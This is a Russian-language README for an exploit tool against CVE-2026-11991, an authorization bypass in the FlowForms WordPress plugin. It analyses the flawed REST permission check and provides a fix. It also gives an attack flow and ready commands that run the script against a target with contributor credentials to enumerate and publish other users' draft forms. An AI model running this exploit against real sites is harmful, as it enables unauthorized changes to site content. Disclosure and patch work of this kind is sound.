
Автоматический эксплойт для CVE-2026-11991 — обхода авторизации в плагине FlowForms для WordPress, позволяющего пользователям с ролью Contributor+ публиковать любые черновые формы через специально сформированные REST API-запросы.
| Свойство | Значение |
|---|
| CVE ID | CVE-2026-11991 |
| Оценка CVSS | 6.2 — Средний |
| Вектор CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Обход авторизации через управляемый пользователем ключ) |
| Продукт | FlowForms — плагин конструктора разговорных форм для WordPress |
| Затронуто | Все версии до 1.1.1 включительно |
| Исправлено в | 1.1.2 |
| Исследователь | Phantom Hat |
Полное исследование в режиме «белого ящика» с анализом исходного кода, трассировкой входных данных и сравнением патчей:
FlowForms предоставляет REST API в пространстве имён flowforms/v1. Конечная точка публикации:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
принимает управляемый пользователем {id} в пути URL и переводит черновую форму в статус опубликованной на живом сайте.
permission_callback для маршрута /publish выполняет только общую проверку прав:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts — это право, которым обладают Contributors — роль, которой WordPress намеренно запрещает публикацию контента. Проверка владения целевым form_id полностью отсутствует. Любой аутентифицированный пользователь может опубликовать любую черновую форму на сайте.
Атакующий (Contributor) REST API FlowForms
│ │
│── POST /wp-login.php ────────────>│ (1) Аутентификация как Contributor
│<─ cookie wordpress_logged_in ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Получение REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Перебор черновых форм
│<─ "Form Not Published" ───────────│ (неаутентифицированный ответ)
│ │
│── POST /flowforms/v1/forms/ │ (4) Запуск публикации
│ {id}/publish ─────────────>│ любой черновой формы по ID
│ │ ← нет проверки владельца
│<─ { "success": true } ────────────│
│ │
│ Форма теперь ЖИВАЯ на сайте │ (5) Черновик обходит
│ без редакторского одобрения │ редакторский процесс
Contributor на целевом сайтеgit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Флаг | Описание | Обязательный |
|---|---|---|
--url | URL целевого WordPress | ✅ |
--user | Имя пользователя WordPress (Contributor+) | ✅ |
--password | Пароль WordPress | ✅ |
--num_forms | Количество ID форм для перебора | ✅ |
--id_start | Начальный ID формы для перебора | ✅ |
--proxy | URL прокси (например, http://127.0.0.1:8080) | ❌ |
Эксплойт выполняет три автоматизированных шага:
Шаг 1 — Аутентификация
Выполняет вход от имени атакующего (Contributor) и получает действительный nonce REST API из wp-admin.
Шаг 2 — Перебор черновиков
Сканирует GET /flowform/{id} в указанном диапазоне ID. Формы, возвращающие "Form Not Published", собираются как цели — это черновые формы, владельцем которых атакующий не является.
Шаг 3 — Публикация
Отправляет POST /flowforms/v1/forms/{id}/publish с nonce атакующего. Конечная точка принимает запрос, переводит черновик в опубликованный статус и делает форму живой — без какой-либо проверки авторизации на владение.
| Действие | Подробности |
|---|---|
| Патч | Замените общую проверку edit_posts на current_user_can('edit_post', $form_id) — второй аргумент привязывает проверку прав к конкретному объекту записи, обеспечивая соблюдение правил владения WordPress |
| Смягчение | До установки патча ограничьте роли Contributor и Author, если плагин активен |
// УЯЗВИМО
'permission_callback' => fn() => current_user_can('edit_posts'),
// БЕЗОПАСНО (исправлено)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py # Доработанный эксплойт с богатым интерфейсом
├── requirements.txt # Зависимости Python
└── README.md # Этот файл
Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных исследовательских целей. Несанкционированный доступ к компьютерным системам незаконен в соответствии с действующим законодательством во всём мире. Автор не несёт ответственности за неправомерное использование данного программного обеспечения. Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.
Phantom Hat — независимый исследователь безопасности
Данное исследование было проведено в рамках ответственного раскрытия уязвимостей.